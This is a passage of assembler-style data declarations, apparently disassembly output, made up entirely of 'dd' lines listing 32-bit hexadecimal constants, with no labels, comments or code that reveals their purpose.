		dd 9D7B0012h, 4F65A632h, 0D400E0BAh, 17FE1928h,	1F02E3Fh
		dd 0F542F76Bh, 40261AF8h, 0BA82C98Ch, 6AEC602h,	0C37BD765h
		dd 9DE9D8E5h, 10AD00D6h, 0A87ECECCh, 22182C38h,	37CE3599h
		dd 8441F31Fh, 0A84013EBh, 0A0595E3Bh, 4806E180h, 0B10038A1h
		dd 34474586h, 83176F55h, 0DE0BE277h, 0BFD18038h, 9052E546h
		dd 4D760F20h, 756E70C4h, 0EA7981DFh, 30D5AD4Fh,	0A5E088B4h
		dd 9B6F4309h, 0F93480A9h, 0FE966E15h, 7D4E00C5h, 9235092Ch
		dd 0C0091651h, 219A99h,	0D4DF0AF3h, 5060E84h, 0E680DEB8h
		dd 0BC6DF864h, 0FC945628h, 0AA0E6E79h, 6029D841h, 9C97DD70h
		dd 7AA700C8h, 0AD3C73D1h, 9D00EAC1h, 7E016205h,	0C08C70h
		dd 0F611FF0Dh, 69603974h, 0E83F5C28h, 4BDD1404h, 0B20384A6h
		dd 24B020A0h, 7200572Dh, 0E799FF91h, 0F33AF852h, 0E0555ECh
		dd 0FB16E5D5h, 391D1041h, 702AE9D9h, 7F1F2B9Bh,	81DFCDFh
		dd 2550A007h, 0C800E8CAh, 3ADE4FB1h, 76BAF20Eh,	0C850036h
		dd 1D631670h, 9F009DA8h, 0E0D3ADCh, 75E54065h, 272C0F38h
		dd 0EF6A6998h, 0F1A00098h, 438B3D2Dh, 123ECF14h, 8E4800E8h
		dd 729DB7F8h, 0E921007Eh, 0DBBDA7C5h, 9B00DC33h, 1B076EA4h
		dd 0E7CA0828h, 3C9EFCF4h, 0BA1FBC0Ch, 0C25D802Dh, 3D63FFA1h
		dd 0E2802600h, 0EF984F09h, 0EB2D0038h, 0F8AD6073h, 1A7358FAh
		dd 0B5CDB200h, 0A180C033h, 18FB606Ch, 0A6FDDFC3h, 659C4600h
		dd 44B95FF8h, 64A30919h, 64802E92h, 86755E70h, 0E1379300h
		dd 0EA2D8BF6h, 958F006Ah, 4D52AAA5h, 0A004735h,	62E06E3Ch
		dd 992119h, 0C415778Ah,	0E98D6BC0h, 0BCDA7200h,	0F1D1945Ch
		dd 20260092h, 64A9931Eh, 48005321h, 0E1D66EFFh,	32996CBh
		dd 60D4D19Eh, 0A1B3BE27h, 0AB464988h, 7DF43900h, 0CE7A8AE5h
		dd 0F56600FDh, 24A0FE9Bh, 77F0B3E9h, 8F31C800h,	0F77A3879h
		dd 45E0083h, 6D2D5A53h,	414CFCB3h, 0EDA503B2h, 0AFCD22DFh
		dd 897A4AD0h, 0C3BA0F2Fh, 5D8060C8h, 7CB77B29h,	0C6A20500h
		dd 15AE415Fh, 7380A00Bh, 138F00ABh, 0CEB81AC8h,	4700D21Ch
		dd 74BED33Ah, 373BD31h,	3B6AA49Eh, 8DB0F110h, 3E00B086h
		dd 0FA9888E3h, 3BCEFCD4h, 1380ACBDh, 172A8C51h,	0CB5CEEE4h
		dd 9C95004Dh, 91EAD279h, 0F84F00E1h, 715E1A06h,	0A21E5BE3h
		dd 26C0D328h, 0C7B0C53Ch, 0FA070F65h, 5A2077A7h, 9E6FDC0Ch
		dd 0E3D4E38h, 7F730B25h, 0E770A30Eh, 0AE10E7DDh, 7792BEh
		dd 0ACEB3572h, 40F94195h, 514DBEA0h, 1100AF75h,	0D56B7DE8h
		dd 7F60B18Ch, 74350E75h, 9D60AA36h, 0D229AB27h,	12A9E100h
		dd 81C03D7Fh, 2D850031h, 37ECCA1Fh, 560097D3h, 72A9F16Eh
		dd 795EB9D5h, 2AB3009Ch, 43B21FDEh, 4D7B1266h, 6838852Ch
		dd 20B5550Fh, 807ED44Fh, 63CB00F8h, 0AF9A5B17h,	0D107213Eh
		dd 0CD9E2CA4h, 893B90C0h, 643039E0h, 6B7F8500h,	202CC88Fh
		dd 4311E600h, 0FA7B9BEDh, 285E00B8h, 4CF94947h,	0C4000FDDh
		dd 39669D42h, 57151Bh, 0FEA7A583h, 0F27BCED9h, 0D0031E71h
		dd 12DA746Fh, 0D27DF828h, 5FA900FCh, 65B2800Ah,	5A028B4Bh
		dd 0A5596A51h, 63104008h, 0E25F00BBh, 9DC86BB9h, 5700228Ch
		dd 44AEC38Ah, 0EA45AD01h, 0B8038F5h, 5D90C100h,	0F34E9F36h
		dd 0A68780Ch, 7FE124h, 0BCE102C8h, 0FEE418A5h, 101D5B24h
		dd 93C9B5C0h, 40606E24h, 0E0E3F927h, 35FFD566h,	46001D7Ch
		dd 0A75EBB7Ch, 7596A94Dh, 384F3B5Ah, 0A8CEDC80h, 1E17C1C9h
		dd 19B64C03h, 900224FBh, 5C7116FAh, 10006F90h, 0B0DFF1ECh
		dd 0D400918Eh, 6F6942A0h, 0D5D6A2h, 0C2C7BC57h,	0BE73852Bh
		dd 74762601h, 4111B409h, 2D18ED0h, 25F40A7Eh, 0FEC05179h
		dd 0DFF637CFh, 0E6B1831Ch, 0DC7EE88Ah, 4E06407h, 0D13F8DE0h
		dd 1E9081h, 0ABC44A5Ch,	5938DA2Eh, 0A991F300h, 5F45B119h
		dd 0F0735C11h, 7700E33Dh, 448D17D2h, 8B0A6C62h,	0DC96DE30h
		dd 3F20CE80h, 0AB08592h, 7A36653Bh, 0E88939C8h,	0B001982Ah
		dd 0D42E24C1h, 0CA009F5Ch, 0ABF67240h, 9D55A8Ch, 92BE6B6h
		dd 0A442009Fh, 92DA1018h, 2BD07D05h, 0EC0E2965h, 0B0408234h
		dd 424B40F5h, 445F40Eh,	9EA35E3h, 205890D8h, 0B20FEE1Ch
		dd 0A7A34969h, 0D6B09854h, 1FC82704h, 0C0A04894h, 0E48A8CD7h
		dd 0F8000E68h, 1D673598h, 7BBB69h, 5BDEB58Eh, 9553B770h
		dd 3440FD0Ch, 1D2D3EECh, 0C0B0DD64h, 16EF1839h,	35036538h
		dd 0F3ED2F5Fh, 674D90C4h, 82D0034Bh, 4CAF766Eh,	8FA63BC0h
		dd 781BF200h, 0E0D50ABCh, 0E90107DCh, 0C11CA949h, 20772473h
		dd 9A2D3500h, 0C7D6E3h,	985ED2B3h, 0C8F45B79h, 0C54ED00h
		dd 7FCC1A21h, 0B8CE0433h, 0C049D8B3h, 3B603ACFh, 8DDD98C4h
		dd 72B75841h, 86589E3Dh, 21DBC970h, 5DA400CEh, 3B117166h
		dd 40E1702Fh, 2755C8B4h, 0AE3FEC07h, 74FC4B58h,	57F658FBh
		dd 0F984EB00h, 2D8909B0h, 3EBEEC00h, 8EC93387h,	96C33B1Bh
		dd 0C263ED8Eh, 44C09543h, 0AC835182h, 4E03058h,	78038A12h
		dd 0ABBFFAA1h, 0B5F598D2h, 251B00DCh, 0F129EC3h, 0CF001CD7h
		dd 0FF4A9D20h, 998C8Bh,	2E0A2247h, 0DBDA12Fh, 1A9F1200h
		dd 0E4890B0Fh, 988E982Ch, 4EB00309h, 0FE367C66h, 203779E1h
		dd 0E6094758h, 5D0210Ah
		dd 0CC80D341h, 3B527563h, 0E00C192h, 251C3022h,	0E9B02CC2h
		dd 0FAD9FD3Fh, 0F979D301h, 0BBB6036Bh, 35DDF70h, 0B87BE5DDh
		dd 0B7D842D6h, 0E4005A3Eh, 0F7D107C3h, 499EA98h, 0ECCB9BBEh
		dd 9C38C0A6h, 0D4E0B9E6h, 0C497E900h, 0F5829A27h, 80BD016Dh
		dd 790D8CCEh, 8453EC52h, 35EEC226h, 9DC0EF00h, 7BCE308Ah
		dd 0E21400F6h, 9C6EFA8Dh, 0C8039581h, 12DC8B82h, 0CE649002h
		dd 0C30C017Ch, 20277045h, 94E5C48Dh, 7D8C0901h,	0FD02775Eh
		dd 0A6D44AF9h, 913D1C3Fh, 0DC00FBB3h, 7947FE18h, 5138698Bh
		dd 0E47E809Bh, 806EA09Ah, 0D2F5004Ah, 0EAA4771Eh, 7D0FCF17h
		dd 0A0D352C3h, 53A79E30h, 7B0B003Ch, 66DD98C6h,	0A500E295h
		dd 48E6DAFCh, 0FAC0B7h,	5433CD39h, 2FB15817h, 5CCB4Ch
		dd 0AE9EE394h, 0E14AFFDh, 2AAD0350h, 8A0BEEEFh,	23091C20h
		dd 0A4007F2Eh, 5D88C42Fh, 91A675h, 45CB293Fh, 0F7E3EC6h
		dd 0B8EF2809h, 0EA7800BEh, 79A43DAh, 0F5622D3Fh, 29C70041h
		dd 4604BDC5h, 5FC344A6h, 0D945E3C0h, 0D5C1001Dh, 93D7FFBFh
		dd 0F600DDA8h, 98DB3BFAh, 1C5384Ah, 648BBBD9h, 8915970Eh
		dd 80806A60h, 2BB5236Ch, 41523A48h, 77F73h, 0F072026Fh
		dd 36DDF361h, 0F50B0900h, 8CC84DBCh, 584733AFh,	2A068D4h
		dd 4BB88A86h, 4CB9F100h, 0DC815C05h, 0B241384h,	4B100401h
		dd 9DD94392h, 0F236A0EFh, 626002C1h, 189EFA78h,	0B490E043h
		dd 0D6041C77h, 0E63E0D89h, 0B5D6480h, 3DD401BDh, 61F6E323h
		dd 8FC08083h, 4ECA1963h, 0D7360098h, 107DE974h,	5100DA5Bh
		dd 0C6CD5D31h, 0B0947562h, 0C41200D8h, 8108F756h, 3607DB2Fh
		dd 855E2D93h, 0A29528F0h, 0A65F0027h, 0D1CB1D03h, 0CE003DFAh
		dd 29D00584h, 0B3C492Dh, 6FEB95A0h, 0A4158A8Fh,	2E17824Ch
		dd 0B234001Dh, 32E53BAFh, 96CC0430h, 8BEFF5h, 0B0DC064Eh
		dd 3B3DC2AEh, 302D051Dh, 51E8FAC0h, 67C1DD9Fh, 93E310CAh
		dd 40BC4A84h, 60FB5BDAh, 7DC7035Dh, 40A84EFCh, 0BF5C503Fh
		dd 3A9C1587h, 1B187488h, 5B988C01h, 80206017h, 370E7885h
		dd 64AD3Bh, 8B690908h, 7EB45D19h, 3F1700F4h, 6AB09331h
		dd 2400232Fh, 6C7361BFh, 268280h, 0A1D44AD0h, 2538913h
		dd 5A05903h, 0A03A7518h, 0E05FD316h, 518F0147h,	0EE4AB07Ah
		dd 351CFCDFh, 0A36A58h,	693C5A65h, 1B179CFh, 0EF7B9991h
		dd 80F1FE15h, 0D0195FB8h, 0A59A5Ch, 0EB912F43h,	47DD05AFh
		dd 0B5BD27Dh, 7820F0h, 71D45E84h, 0AD6712DBh, 8886081Ch
		dd 3548BE58h, 8BE907F3h, 519D8DB7h, 0FDF0DA84h,	0B911849Eh
		dd 68C07E85h, 7DE1B0Ch,	9530BA01h, 0EB6FC05Fh, 790A0302h
		dd 80BE1C11h, 0C9CA1506h, 5CFA00C0h, 4D2331B7h,	5003EF2Eh
		dd 0A3FBBDEEh, 0ABE5C887h, 0DBBF00ACh, 6214FD6Ch, 0BA0049F7h
		dd 9AB894E0h, 12572EC6h, 0C88981Ah, 0B6F14A84h,	92AE25h
		dd 0CD820B08h, 21FD0207h, 3CBD0362h, 8D4E3048h,	7DDA3700h
		dd 6CD19978h, 4A7E00DCh, 0F6FF090Bh, 0E51D6539h, 0D2406E4Fh
		dd 94156F76h, 4FC0117h,	0EC23CC1h, 1CC8D79Eh, 0D0DEAF34h
		dd 250B4840h, 2C20EB04h, 0B8186Eh, 4DB4C282h, 0F12A099h
		dd 130B2314h, 80B48033h, 1F204FB5h, 4D1CAC32h, 17A1A4FBh
		dd 0C688D0A8h, 670096E0h, 0A7F67432h, 2DE3A2h, 0AA1EABE8h
		dd 73C2F145h, 0D8F9612Eh, 247EC500h, 174637E2h,	37D1172h
		dd 0F6C9B02Ch, 4941201Fh, 0E0485854h, 52694Fh, 0B6DADD84h
		dd 0BEA0D91Fh, 0B4F0C603h, 9DA43Dh, 60F37D69h, 0AEDBA58Ah
		dd 948ECB00h, 0F13C412Bh, 721F3E02h, 853ED80h, 0B950D65Ah
		dd 0F76B3Ah, 0A6712640h, 392BE170h, 481B1C2h, 30D22346h
		dd 0D0B2E852h, 32557207h, 9E409FA5h, 397093BAh,	6D84EF06h
		dd 0C0998DFBh, 9DF03C16h, 81C0093Ch, 162D2A19h,	0D8ECDB9Ch
		dd 8E24000Bh, 0AB1118BBh, 5C774625h, 0B99F7001h, 14DB223Ch
		dd 7870342Ch, 0A00B054Bh, 0BE65EDF1h, 8A50BB80h, 437CBDh
		dd 76CD1FFCh, 7EEBD3E0h, 0D2DE3500h, 0CF06BAF1h, 9216003Ch
		dd 0E13D545Ch, 78003386h, 72357C64h, 70AC5AA6h,	0D2B5004Dh
		dd 7FE54307h, 90049BBh,	0F17E8341h, 0D7863h, 0E0FEC417h
		dd 7FD1069Ch, 0BA87F300h, 0B08AD3F0h, 0E97E61h,	66F55F3Bh
		dd 90E7F94Fh, 0E382BC00h, 0C2335211h, 70633B8Dh, 0E92E8E8Ch
		dd 0EEF9AE60h, 2AA460FFh, 16FA0062h, 0C89AC20Ah, 0D003149h
		dd 0AF9F1E3Fh, 0FF66E2h, 0A380548Ch, 0CA4D0B25h, 0B099F501h
		dd 2FE64FBCh, 1C559E4h,	0BBC9CB33h, 0F1787189h,	4849FCD8h
		dd 0A080A900h, 546A9B22h, 0B4DD0039h, 0A5E5B0E7h, 1B003121h
		dd 0D716D228h, 1137E12h, 0E7CC4CFFh, 0D4295F83h, 0B7059F3Eh
		dd 141A97C2h, 550DDEC0h, 96570973h, 680165A0h, 20AE59E7h
		dd 0A7003FB4h, 9C87DA66h, 132DE30h, 5C6911A4h, 604DB9E2h
		dd 0C3006703h, 16DDA112h, 5AB5A2h, 0C6A54147h, 0CB8B338Eh
		dd 42181900h, 98F90701h, 276500B2h, 0F00DC251h,	0D10017A2h
		dd 2D22304Eh, 175F7E9Dh, 5E20DDCCh, 96DA4324h, 280BA899h
		dd 80AA2D82h, 0CAA52C16h, 0D662014Fh, 0DC760F57h, 0C982006h
		dd 0B7731700h, 5C3A41E7h, 0CB94D89h, 32689B04h,	4F4F0F6h
		dd 0FCA1AB09h, 60049AE2h, 73AAD884h, 1D70B0F3h,	0C2EB9D7Ah
		dd 27DA98C2h, 6D105CC8h, 0BA58D514h, 2C4A03A4h,	0D0FCFB1Ch
		dd 7104D7F3h, 38E10427h, 19FBC93h, 0E23E74Ch, 5EC69D4h
		dd 0B15DB19h, 0CDA48371h, 0F287682Ch, 0A6EE7702h, 0F2196006h
		dd 0B18C305Bh, 8390DD40h, 4B5E620Eh, 8E164751h,	9030A69Ah
		dd 0F21CA231h, 64930054h, 9632D812h, 9026747h, 0FBD54492h
		dd 2C8406Fh, 38630054h,	0A80C32A4h, 0CB00DE8Ch,	0A2C0570h
		dd 16B0727Fh, 0FEB219Bh, 2E8DFB48h, 488360A1h, 0D6E09D75h
		dd 64983426h, 0E91B5180h, 621743h, 31378082h, 35788116h
		dd 0DE00FEB8h, 0A621799Fh, 6DE58Ch, 11F458C2h, 13770763h
		dd 0B68B7300h, 0AD7A6F7Bh, 94460782h, 60E492F5h, 89DA88DFh
		dd 87D5E100h, 1F9EE33Dh, 0F80F0EA8h, 5875ED7h, 0D1A0109Ah
		dd 1400AE4Ch, 0D9CF9519h, 0DC1F2Fh, 85524681h, 5E86FD6Ah
		dd 0B6B948h, 2FE05D6Eh,	0A054C7h, 988A2EDAh, 2A3480E8h
		dd 9E5B423Fh, 8F004DFEh, 4B745053h, 0E8F495h, 0ABC2D5ACh
		dd 0DA62B77Bh, 0E5492800h, 86546BB8h, 5C560068h, 0FB085A97h
		dd 0BF006E0Ah, 49A64C88h, 1E732979h, 0F0BD7Fh, 8A71BCF6h
		dd 4700C590h, 9F2493ECh, 0B9F349h, 0B77ACF3Eh, 0A238ECDh
		dd 204C9A0Eh, 4954831Eh, 0BAFAF8DDh, 0B84F0076h, 0EEC7F82Ah
		dd 0CE012BFFh, 0E2CBA091h, 84509038h, 0A34B2Dh,	0D62A158Ah
		dd 0BA1BD0Eh, 668C6800h, 64E27D7Ah, 0BF4B00B4h,	53D5624h
		dd 1F0073FCh, 0CFBEAEAFh, 98FAA25Ch, 9DF750F8h,	0DF3128C8h
		dd 37390084h, 834D8E27h, 0A61EBFCDh, 73009BD0h,	0F3B47B50h
		dd 0DE8D3D7Ch, 0CC2ADF85h, 388F00A5h, 71E62FC0h, 36C78E00h
		dd 1BF8A826h, 17BD0020h, 777C89DBh, 2C01D3ACh, 73F34EE5h
		dd 0B5FC09E3h, 24790097h, 0B20EDE67h, 163A2080h, 121000BCh
		dd 2A18A8C0h, 0E96E4CEFh, 6C079139h, 3E75C9FBh,	0B4C38280h
		dd 60B5C093h, 2DCE19h, 0ED79795h, 77106F49h, 66A08E00h
		dd 2B752186h, 0C42A0073h, 56B89D08h, 0AA38972Dh, 0B3FD1F7Ch
		dd 444FD540h, 0ED93A976h, 48DFD440h, 0E1180060h, 1AA324E7h
		dd 91E054F6h, 9FFFD400h
		dd 252A850Fh, 15078B9h,	0AC4CE89Ch, 0D1531C81h,	91C2357h
		dd 0D57CF5h, 59E43B9Ch,	6F8C3FBAh, 81CC6C00h, 0E9246070h
		dd 0BC0B26E0h, 225CD84h, 0C0637D7Dh, 0E5F6C1h, 45293407h
		dd 8213E051h, 0C3147A00h, 0A89FC2A5h, 377F01A3h, 4C3DE24Dh
		dd 0C8EED860h, 0F97EF409h, 916801D0h, 0A2D8DF88h, 249C00C5h
		dd 0AAE4DAA6h, 613A0842h, 92BC07DEh, 1B804CF9h,	0FC53ADh
		dd 24AF74BEh, 31870923h, 88CFB0A0h, 632F7300h, 0DB3454A5h
		dd 655B3978h, 0F9053800h, 49F42914h, 0BD0086B0h, 220D7BCFh
		dd 0F81FCh, 2417F604h, 6DE71BB9h, 0A7D08813h, 7900C0F8h
		dd 0B02307B4h, 0AD00BC45h, 601487A9h, 7F378Eh, 0C6F99CB5h
		dd 0BB56CBCEh, 0D8906351h, 8E002534h, 5EC7814Fh, 7D0C8B1h
		dd 0D3E135F9h, 0CD62006Ch, 0DE002DE4h, 15E69893h, 24194478h
		dd 2C4135h, 3DA0267Eh, 4F00DC91h, 281E2393h, 0A1D0BDh
		dd 0C63F1FD2h, 7A73A321h, 0AC740500h, 4AF006B3h, 0FAB63C0Dh
		dd 0FBB48D02h, 1AC1771Ch, 860F2F8h, 1F24685Dh, 0C1879CE9h
		dd 9DA7DC06h, 0C275F90h, 0B20A0B9Eh, 81E2355Ah,	33BAC04h
		dd 0E0BA93D5h, 6D74C8h,	0B13AE065h, 9AF3CF51h, 38C43000h
		dd 83BA746h, 1E060033h,	0E9855BAh, 17003CCEh, 8C89CAE7h
		dd 3815447Dh, 0E43C867Bh, 0F9048302h, 94482319h, 0DA0F338Bh
		dd 4084C3B4h, 32DB943Ah, 0B8EB014Dh, 7BB5D63Fh,	0A2D8F4E9h
		dd 1855FB00h, 0CC0851B3h, 0AFF3008Ah, 7927FEF2h, 1304D615h
		dd 0DCA58CE5h, 4A461700h, 0DF01448Dh, 0C0095F86h, 0E770D58Bh
		dd 9FB50005h, 0B302F8C7h, 0E70A1941h, 945F344Fh, 7A35D200h
		dd 173BC3h, 6B8BE4FCh, 0D829689Fh, 33E4CA50h, 37099D76h
		dd 3225AE2h, 0EA386Ch, 96FF2E8Ah, 75EE6BD6h, 0D4667D00h
		dd 655663CDh, 0A8170094h, 2B62EB92h, 40121942h,	0C8007855h
		dd 0D9F3967Fh, 830F28F2h, 6AEE38B1h, 0F4EA1983h, 36A99BE0h
		dd 3DB120BDh, 0DE129F00h, 0F02BA2F3h, 0CF7A00C0h, 0AB759AF2h
		dd 39010DF9h, 0A646B104h, 0CDC4DD45h, 0B8F480h,	267FD9F8h
		dd 0DD69741h, 808B4C3Ch, 0DC43DD61h, 0C7C1F5F0h, 425F3AE0h
		dd 9BD451FAh, 3C00DA26h, 0EDE259C2h, 0F06D0011h, 0C4A767BBh
		dd 0A500512Dh, 0D38B1758h, 0B7E41Fh, 5039D407h,	14BBF780h
		dd 0C859DF3Dh, 6FB11254h, 171E0E00h, 3D1D6035h,	0B600A4B0h
		dd 3EDD59A6h, 0A300B4C0h, 0E5ECE09Ah, 0BF90B36h, 0D620E9ACh
		dd 3D5C3500h, 7A00A1DFh, 1B01F2A2h, 0EB78E5h, 56EAC5ACh
		dd 0D9159EE6h, 52FAC400h, 8A9727E0h, 0F8E8FDh, 0F0533208h
		dd 224B8146h, 0D1B7B900h, 8805C66Fh, 0EC073CF6h, 0C8B83100h
		dd 93D6299Dh, 8D813400h, 901FE4CFh, 7DE0052h, 4CB00F5Bh
		dd 8672BFE8h, 157B7600h, 0CE2D8310h, 0DE414C42h, 0E14B1400h
		dd 3BDD62BBh, 0E92E5E00h, 3075AD0Ch, 5409010Fh,	0D5719C6Ah
		dd 0CD35F8AFh, 29F4B212h, 35A2800h, 3E5DD48Ah, 92814104h
		dd 3E9B0556h, 9C9030EAh, 9000A4F4h, 9DB9694h, 19D38ECh
		dd 58CA6F6Ch, 0C4515E1Dh, 7D1E393Dh, 6DC241B0h,	0C04F5FC5h
		dd 0F7794h, 8902A4FDh, 7059171Bh, 21E82807h, 4EB09325h
		dd 0B02D80h, 1DF6AA0h, 370D77B1h, 8004F23Dh, 1E5CB543h
		dd 0EA364DFAh, 834400D3h, 225301CAh, 0DD0028F1h, 8EB2A05Fh
		dd 0ADD838h, 0CFD65795h, 4E175478h, 7D28D0Fh, 0A8B1C3E1h
		dd 41C79ABBh, 27C0CE3Ch, 0E80500D6h, 31E589D5h,	0ED26DE80h
		dd 410EFC2Bh, 7303E14Ch, 60EC99F0h, 0AF430094h,	0D311F68Fh
		dd 74003002h, 77233BE4h, 48931AC0h, 0FD053CB5h,	11D8B42h
		dd 0E9996D9Dh, 240461CEh, 0DA00BB94h, 115C7965h, 29048ACh
		dd 0F30681E7h, 0C740564Dh, 0F800AD13h, 96A8E61h, 2C65DD0Bh
		dd 0F00A72Eh, 33A77293h, 4369D12Bh, 73E07A2Fh, 30AD3C1Ch
		dd 0FEB43600h, 661585C1h, 0D3827400h, 0C4E5EE92h, 7A560013h
		dd 843116F4h, 7700E15Ah, 538BFFD5h, 0A4FBF9Fh, 0BE42341Fh
		dd 1FA1690h, 0ECD8E7FCh, 74C0F706h, 5113AA92h, 24004B64h
		dd 5DE27184h, 0F10100ACh, 0D576A20Bh, 0AB0EFD18h, 41DBBD95h
		dd 0E590FF99h, 0EBC030h, 0C27A728Eh, 0C17F5F93h, 4B55A602h
		dd 80911A6Eh, 80149D97h, 153EEC4h, 7F5AA83h, 0CB3B09B7h
		dd 0FC2D49D1h, 7F0A76F4h, 0A87046F2h, 0D64FB704h, 407542C2h
		dd 0D771ECh, 0F4B0632Eh, 29837B13h, 6CD228C0h, 5050314Ch
		dd 74E9CAh, 0D3DCFCB0h,	26340BD5h, 0B9F34700h, 64C80D42h
		dd 0FD611836h, 69569872h, 5A959300h, 90214951h,	3DEF0067h
		dd 16E58B6Eh, 0FC94CD0Ch, 8A845101h, 9BE4C310h,	0B0904Ah
		dd 28C615FCh, 0CED6266Bh, 350F0300h, 307EAE70h,	12CB0CAh
		dd 0C7A79C64h, 70F198E5h, 0A40025F0h, 964891E3h, 0BA334Ah
		dd 41C4A8B4h, 5CF0DE66h, 897B633Dh, 22C438Ah, 40D4CA42h
		dd 0FB641BA4h, 1352020h, 9A08FC9Ch, 0E3E37507h,	0CBF497A0h
		dd 6D134EE4h, 2C0E589Fh, 0F369E161h, 7EF87015h,	289080h
		dd 9BF61601h, 0C655120Bh, 0DB881112h, 0AC460701h, 0BACC6003h
		dd 7FB9981Dh, 0D71700CEh, 7DCCE991h, 0CF001F78h, 7E50CA63h
		dd 0A88CACh, 0BA56A0E2h, 0C5DA284Ch, 8393EF00h,	0EC816516h
		dd 0DFC023Bh, 0CC1395F8h, 0F5DA20A0h, 291CDC37h, 7C0F7B3h
		dd 2FC04320h, 460C2E6Bh, 648D0798h, 2AE700Ah, 1E6378F9h
		dd 0A8EC03C0h, 0B9A9331h, 40855589h, 0EA7A00FFh, 5C8AD2E8h
		dd 6500FC09h, 30E71213h, 2B00E1E0h, 90713734h, 23121DCh
		dd 0D20E575h, 9868AE14h, 9F00BA72h, 0BD0457D0h,	0BAABD810h
		dd 5130068h, 0ACA79479h, 3100C474h, 8F9C50B6h, 12F26C84h
		dd 0C03B234Fh, 0AADE6BA0h, 0C4E74B00h, 0B5DCA061h, 0A68704AEh
		dd 80F69E5Dh, 0DAF5FE3Ch, 190F1200h, 3B4F231h, 14533975h
		dd 2284FB00h, 7E15528Ch, 0E3C7BD01h, 0E635F13Fh, 5C17A8D4h
		dd 0F4034883h, 315C549Ah, 0AE2C21A0h, 81977800h, 0BE5614E5h
		dd 38B094h, 0B61361C0h,	89771DAAh, 5B377B01h, 2533EBE6h
		dd 42F03DF1h, 408B2CCh,	57AAA6CFh, 898CA00Eh, 690096E0h
		dd 0E7BA45D2h, 0F61743E6h, 93D03195h, 8627E60h,	6E9D0FF9h
		dd 8AA7DE98h, 27C571h, 5BA87DACh, 7915BEABh, 863086AAh
		dd 5926EEh, 498F7A5Ch, 34CAA7D6h, 41BC520Ah, 1700AC03h
		dd 0CCB80F94h, 58F103C9h, 2960909Ch, 9B8C395h, 0AC841CB8h
		dd 0F64C9200h, 0B3C2DBCh, 4BD0791h, 87AE69C0h, 88A0BE90h
		dd 0A8031B31h, 434C8E15h, 0CCC10084h, 0C0BA685Fh, 3A930C4Fh
		dd 39C05809h, 0A12FB014h, 0A05E00C0h, 6888BF6Ch, 814A008Dh
		dd 69EFBEFCh, 57240E6Bh, 66005C55h, 1A013DCDh, 8C380002h
		dd 0D01848ABh, 1B4D5FBBh, 0EAE601A8h, 0D7AF479Fh, 0E4339207h
		dd 2E275507h, 0ACA0B04Ah, 7529A003h, 0A8C6A663h, 12B05696h
		dd 1CCE49C5h, 1C5C2473h, 0FD688089h, 2BDFE28Ah,	0BB267926h
		dd 9CB5EB00h, 438F4C1h,	0C5F9D3E9h, 82908019h, 0B2F28148h
		dd 0E1354D00h, 6628A5A1h, 4416495Eh, 2380213Fh,	0ECAF4B2Ch
		dd 0CB02D849h, 1A14A7C8h, 3EF8FC1Eh, 0DD5C3F00h, 0A15DCAC0h
		dd 365EEB7Ch, 0BC0053F8h, 0D8D53967h, 85A09A3Bh, 0C6006EB5h
		dd 0B03DCCF3h, 7D5C2ADEh, 7AFD2EE0h, 0D6183A4h,	0E188155Dh
		dd 0F2024AC2h, 12513360h, 9E38C8D7h, 0E3720237h, 27367B1Bh
		dd 2B6218C8h, 442D3E09h, 0CAE822BCh, 44C15D5Bh,	0A110303Ch
		dd 0DFAE2507h, 7F609F2Ch
		dd 40FF257h, 45FBA4A6h,	65248151h, 638BC0CBh, 0C2F7A301h
		dd 9A4358EFh, 113F5ECh,	5BEE25A2h, 30B3BF3Ah, 12072C61h
		dd 0CBA4ADCAh, 0A7590360h, 1830F1B7h, 243FF69Dh, 8084129Ah
		dd 0C6AC93E0h, 6A3B5999h, 8B94804Ch, 4328EEF3h,	0EF400EBh
		dd 0F254F937h, 289AA25Ch, 3F1CB700h, 0EC5190E5h, 0FEE8242Dh
		dd 7D2B00E4h, 6A91438Ch, 8050CB4Ch, 15FB8180h, 4D5B72BDh
		dd 2C2660BAh, 8C054114h, 90C6844h, 0A054BC42h, 7926DD0Ch
		dd 2C81515Eh, 0D6C9C850h, 0EDF81F98h, 5D3C93A8h, 0CB944008h
		dd 0FAA0E14Fh, 0C37995E6h, 0D8A6008Ch, 93AD8034h, 5005899h
		dd 48176967h, 4A1CA1Ah,	6408C450h, 365C809Dh, 80268109h
		dd 2D844479h, 0FA203024h, 0D200C78Dh, 8C482AB7h, 0A87BF2h
		dd 271D0AFEh, 0A7ED79C9h, 0F5E69600h, 0D0F93573h, 12D000Bh
		dd 597419CAh, 47003A08h, 50C038A2h, 2448E971h, 0C4A8D2h
		dd 0FC0BF6DBh, 407D0CABh, 0F8D07501h, 9FCA0926h, 5C45A050h
		dd 498E0F35h, 48586879h, 871CC3F5h, 768F5026h, 0FE4A2058h
		dd 0D7C9E2h, 83682EEDh,	2522533Ch, 0B5439000h, 5AB76F13h
		dd 642D58D2h, 6C96203Fh, 4C7600D6h, 0AC50349Ah,	2DA48250h
		dd 3C404E4Eh, 23DA33F5h, 923B018Eh, 0C919EC1Ch,	30102578h
		dd 1F01666Eh, 99DF5D91h, 188009D1h, 1BE84F10h, 0B800896Bh
		dd 397EA3E9h, 0F9E30EAh, 0C09424Dh, 0A2DC9820h,	320E62D4h
		dd 0A028E874h, 7AE08566h, 143548FDh, 796C9D07h,	7B14E0C7h
		dd 2C0B87EFh, 89C327E8h, 917807E1h, 8B427730h, 0F880FAA8h
		dd 364E0F44h, 71807C11h, 99B5B01Dh, 0C9877000h,	0D50D1019h
		dd 16DA0461h, 0F0239414h, 0C303174Ch, 0CB4F920Eh, 305E91A6h
		dd 6972E0h, 3380ACDh, 4F9EFF84h, 83881500h, 0DE7CC1A0h
		dd 40CB48C9h, 4B53A500h, 0BE324D22h, 9B5B103h, 0B883FFF3h
		dd 45A3561h, 8439C4Ch, 0C420900Ch, 0E700473Bh, 94274616h
		dd 0B7221CAh, 9E241F42h, 0E8AA3000h, 2F1381ACh,	48808D0Fh
		dd 24B907E0h, 580CB43Ch, 0CB13E62Fh, 0F45FF327h, 8997DDC9h
		dd 5DF421F3h, 0CD01E30Dh, 0C0D46C5Ch, 1EEE45D3h, 68407A2h
		dd 4656C0h, 2A8EB270h, 5B61322Eh, 8A009028h, 0B00FA129h
		dd 0FEC19E18h, 0EA18CB12h, 846CA068h, 0AA1CC800h, 6B66D7B9h
		dd 0FBA500B5h, 3993DBB6h, 0E70092C0h, 5AB1069Dh, 0E68CA4ACh
		dd 471000A1h, 17D85BB2h, 0F17395EDh, 0B38EB401h, 8F962B53h
		dd 0FE3CE8h, 15364DC9h,	7B38DC7Ch, 0BBEAE938h, 489D891h
